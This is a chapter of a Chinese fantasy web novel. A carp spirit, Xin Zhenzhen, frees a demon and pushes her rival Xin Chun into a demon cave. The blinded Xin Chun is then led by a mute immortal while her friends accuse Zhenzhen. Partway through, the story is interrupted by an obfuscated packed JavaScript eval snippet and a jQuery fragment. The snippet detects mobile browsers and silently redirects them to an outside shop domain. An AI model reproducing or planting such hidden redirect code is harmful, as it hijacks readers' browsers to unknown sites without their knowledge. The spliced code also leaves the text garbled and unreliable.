“为什么只有你一个人回来?”
一身穿月白底赤纹袍的年轻女子没有掩饰内心的不善,面带不悦质问害所有人遭受危险的辛珍珍。
旁边同样身穿月白底赤纹袍,但是男子的年轻人跟随年轻女子上前,年轻男子仅是略微皱眉,用不带情绪的声音问:
“辛纯去救你了,你没有遇到她?”
当然遇到了。
辛珍珍心想,不过她是不会说的。
辛珍珍穿书了,穿进了一本真假千金文,她是真千金,属于天界的鲤鱼族,是三界唯一的锦鲤。
不过在成年前辛珍珍待在凡间,因为抱错了,辛珍珍在凡间吃苦,幸亏有锦鲤的幸运,辛珍珍在凡间的生活过得还不错。
可凡间再不错,又哪能比得上天界?
辛珍珍日日夜夜等,终于等来了成年,她是书中女主,按照剧情发展,辛珍珍幸运地找到了神族封印魔族的地方,幸运地解开了部分封印,放出了未来的魔尊——也就是书中男主。
辛珍珍解开封印之时,书中描述得轻巧,做起来却相当困难,魔族生物不是萌宠,也没有手握剧本,不知道她是魔界未来的女主人。连人形都没有的魔族比丧尸还可怕,辛珍珍太害怕了,为了缩短男主出来时间尽快救到男主,辛珍珍把封印的缺口扩大。
辛珍珍计划救到男主后立刻逃跑,谁料她明明缩短了时间,还是遇上了按照剧情发展找来的辛纯,辛纯这个假千金,辛珍珍代入真千金,想起自己这些年在凡间吃的苦不由得怒火中烧,脱口而出这些年来一直想说的话,将辛纯推下魔窟。
辛纯看到了男主在她身边,若辛纯在,她保不下尚处于虚弱状态的男主。
一旦不按照书中剧情走就完了。
她已经吃了那么多苦,为什么辛纯这个假千金不会恶有恶报?
对,恶有恶报,偷走别人人生的小偷就应该付出代价。
辛珍珍不怕魔族了,看着魔族将辛纯吞没,辛珍珍仿佛已经成为了魔后,没有化成人形的魔族都是她的宠物。
她的宠物为她解决她讨厌的人,深得她欢心。
辛珍珍告诉辛纯对方是假千金的真相,掉进魔窟里的辛纯还不死心,挣扎着要出来。
黑色的漩涡里伸出一截白色的手,辛纯这个假千金竟还厚着脸皮向她求救?
辛珍珍头也不回转身离开。
辛珍珍目光坦然看向辛纯的两个好友,尤其是年轻男子,年轻男子还帮辛纯说话。
年轻男子本来是她的未婚夫,和她缔结「婚契」。
辛珍珍心底的怒意染上了醋意,都是辛纯偷了原本属于她的人生,还偷了原本属于她的婚事。
辛珍珍被质问后低头,像是受了天大委屈,一张漂亮的小脸楚楚可怜道:“我、我没有,我什么都不知道……”
……
……
逃出来的魔物已经被远古大神封印,魔窟一片寂静。
辛纯静静感受身上流淌的神髓。
辛纯是凡人,神髓能让辛纯具备远古大神的气息,对神仙妖魔都具有震慑作用,但也仅仅只有震慑和些许的保护作用,倘若敌人不惧威慑,要攻击辛纯,就会发现神髓气息不过是纸老虎,攻破防御伤害到辛纯轻而易举。
抓魔头,还得需要能打的帮手。
魔窟一遭,辛纯失去了视力,也失去了几乎所有的记忆,唯一记得的只有神魔相关的事,魔头逃出封印事关重大,光靠她一个人的力量是不够且也是最慢的,她得上天界找其他神族。
辛纯无法飞行,打算找一只小妖带自己前往天界。
找小妖之前,辛纯摸黑找了根略粗的树枝,正准备折下给自己当拐杖时,有一双手替辛纯折了树枝。
靠近魔族会感到灼热,靠近仙族会感到冰冷,神族则温润,不是这三种感觉的就是妖族。辛纯无法像神仙一样辨认气息,无法用眼睛看,所以这是辛纯的判断方法,辛纯找小妖便打算使用这个方法。
辛纯感受靠近的温润。
和远古大神给人的感觉一样,如果辛纯猜测的没错,这是位神族,很有可能还是位和远古大神同源的神族。
温润是突然降临的,来得匆忙,看样子是察觉到封印的变故。
远古大神说过这里是封魔之地,难道天界已经知道魔头逃出的事?
辛纯正想着,折下来的拐杖递到了辛纯手里,然而却不是木头的质感,没有半分树枝的粗糙,光滑无比,指腹和掌心握紧,质感比树枝更为坚硬,冰冰凉凉很舒服,像是握住了一根由寒玉打造的法杖。
寒玉?
辛纯回想刚才温润的感觉,此时温润变得稀薄,变成了和寒玉一样,冰冰冷冷……最开始像神族,这会儿更像是仙族。
辛纯转向给她递拐杖的方向,冰冰冷冷的感觉更明显了,仿佛辛纯感受到的温润是错觉,站在辛纯面前的是一位仙族。
仙族了解她双目失明,送了她一柄探路用的法杖,辛纯手里忽而一轻,有点份量的寒玉质感法杖又消失了,正当辛纯怔愣时,冰冰冷冷的触感在辛纯左手大拇指凝结,环绕一圈,辛纯用右手去摸,是个玉扳指。
她的左手掌心,也因玉扳指的出现产生冰冷但不刺骨的寒流,感觉有点熟悉,似乎是在魔窟……辛纯失去了那部分记忆,无法记清。
辛纯放下抚在左手上的右手,不知对方送她玉扳指何意,但下一秒,辛纯知道了,玉扳指隐隐抬起辛纯的手,在给辛纯指引方向。
仙族换了一个方向往前走,辛纯在玉扳指的指引下跟着仙族的方向走,遇到障碍物或是坑洼,玉扳指会提醒辛纯跨过,若是跨不过,玉扳指则会带辛纯绕路。
在仙族的引导下,辛纯掌握了玉扳指的用途。
“多谢仙官。”辛纯还是没有把握对方是仙族还是神族,只能肯定对方是天界派来的,既然是天界派来的肯定有职位,于是辛纯称呼对方仙官,若是说错了,她改正,赔礼道个歉便是。
辛纯等着对方开口,然而几息过去,回答辛纯的只有寂静。
辛纯失去双目,无法看到对方的样貌,对方许久未说话,不禁让人怀疑是个哑巴。
不会真是个哑巴吧?
辛纯回想从对方来此地到现在,一点声音都没有发出。
“这位仙官……是不便开口言语么?”辛纯刚问完,套在左手的玉扳指轻捏了她的大拇指两下。
辛纯脑海里顿时浮现出一个猜测,为了验证这个猜测,辛纯接着开口问:“仙官是为了封印而来?”
等了片刻,玉扳指轻捏了两下。
辛纯又道:“一加一得三。”
这次玉扳指很快捏了一下。
辛纯了然,猜对捏两下,猜错则捏一下。
知道仙官无法言语、需要用这种方法同她交流后,辛纯开门见山说正事。
辛纯告知仙官有一个魔头从封印逃走,远古大神已将这里的封印永久封死,无法再次开启,若抓到魔头,需要押送到另一个封魔之地关押进魔界。
“……我们需要尽快找到魔头,否则三界将遭受毁灭性的灾难。”辛纯最后道。
至于召集人手,辛纯讲重点没提,相信即便自己没提,天界也会安排好这种小事。
玉扳指轻捏了两下,表示仙官知道了。
寻找魔头危急,辛纯对仙官道:“我们现在回天界商议对策吧。”
……
……
“到了天界,你等着面临处罚吧!”
月白底赤纹袍女子看到辛珍珍装作委屈的模样就来火,辛珍珍放出魔族害得大家陷入险境,月白底赤纹袍女子没打算救辛珍珍,偏偏好友辛纯要去救。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17868944|212252||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>
什么救凡人是仙人的责任?
辛纯自己就是凡人,相反,需要“救”的辛珍珍是个鲤鱼妖,月白底赤纹袍女子多次劝辛纯不要去,让鲤鱼妖自作自受,辛纯却认为就算辛珍珍是鲤鱼妖,那也是尚且年幼、未谙世事的小妖,他们仙人见多识广资历深厚,要向弱小的鲤鱼妖伸出援手。
月白底赤纹袍女子自知好友善良的品行,拗不过好友,谁曾想,好友去救人一去不复返。
逼问之下,鲤鱼妖说看到辛纯被魔物扯进了魔窟。
“你为什么不救她?!”月白底赤纹袍女子生平第一次如此生气,虽然辛纯没有仙力与凡人无异,但辛纯属于天界的鲤鱼族,月白底赤纹袍女子是辛纯好友,对鲤鱼族了解不少。
辛珍珍是凡间的鲤鱼妖,竟意外地是极其罕见的锦鲤,锦鲤可以用自身的运气换逃跑机会,辛珍珍明明有能力救辛纯!
“我不知道,我什么都不知道……”
见辛珍珍就是装傻充愣,月白底赤纹袍女子几乎要气晕过去,为辛纯打抱不平,更为辛纯觉得不值。
为了这么一个虚伪的小妖,她的好友白白丢了性命!
“——呸呸呸呸呸!”月白底赤纹袍女子赶紧把丢了性命呸掉,说不定辛纯还活着,她要回天界搬救兵救辛纯。
“哼!”月白底赤纹袍女子恶狠狠盯着辛珍珍,对鲤鱼妖不救辛纯耿耿于怀,“你自己是锦鲤你不知道?我们三个人本来采药采得好好的,你一来就触碰了封印,魔族就被放出来了,故意还是不小心,你自己心里清楚!”
“好了好了,现在不是争吵的时候……”月白底赤纹袍男子出声打圆场,辛珍珍是月白底赤纹袍男子带进队伍的,月白底赤纹袍男子那会儿还不知道鲤鱼族有锦鲤,只当辛珍珍是个会带来好运的小妖。
小妖崇拜他们天上的神仙,求着要加入队伍跟他们一起采药材,不过这件事月白底赤纹袍男子没说,怕惹得月白底赤纹袍女子更加生气。
月白底赤纹袍男子看了一眼委屈的辛珍珍,对月白底赤纹袍女子道,“运气用掉就没了,你让人家以后怎么办?”
“又不是全部用掉!”月白底赤纹袍女子这次代替好友辛纯充当什么都知道的角色,“只是放弃一年幸运而已,一年后自然会恢复。”
月白底赤纹袍女子说话的同时看向辛珍珍,鲤鱼妖眼中闪过慌乱,显然是清楚代价。
但鲤鱼妖不愿放弃一年幸运救辛纯。
被月白底赤纹袍女子看穿了,辛珍珍贝齿咬紧下唇,眼眶里的泪水像一颗颗珍珠落下,眼角泛红,粉嫩的指尖紧紧拽住裙摆,惹人怜爱却又倔强不屈:“我没有!我什么都没有!”辛纯那个假千金占了她那么多资源,她凭什么要为救小偷付出一年幸运的代价?
后面的话辛珍珍没说,月白底赤纹袍男子见辛珍珍被逼迫成这样,忍不住出来主持公道。
“够了铃火!你怎么总是跟上火了一样?”
“镜水你脑子进水了吧?竟然帮外人说话!”
铃火瞪大了眼睛,没想到同门既不帮理也不帮亲,明明知道辛纯被鲤鱼妖害的生死未卜,还站在鲤鱼妖那边。
铃火气得不想再跟这两个人多费口舌。
辛纯落入魔窟,魔窟连通魔界,封魔之地的封印又被再次关上,凭两个炼丹小仙是无法开启的。若想开启魔界封印找辛纯,必须上报给天庭,由天庭派出天兵天将进入魔界寻人,辛纯才有一线生机。
至于开启魔界封印的鲤鱼妖……就算是阴差阳错,天庭也会严查,关进天牢审讯一番。
这鲤鱼妖肯定不简单,装出一副无辜的样子给谁看啊?
铃火看了一眼对辛珍珍流露关切的镜水,心里还是气不过,意有所指道:
“凡间的鲤鱼妖害了天界的鲤鱼仙,等着承受鲤鱼族的怒火吧!”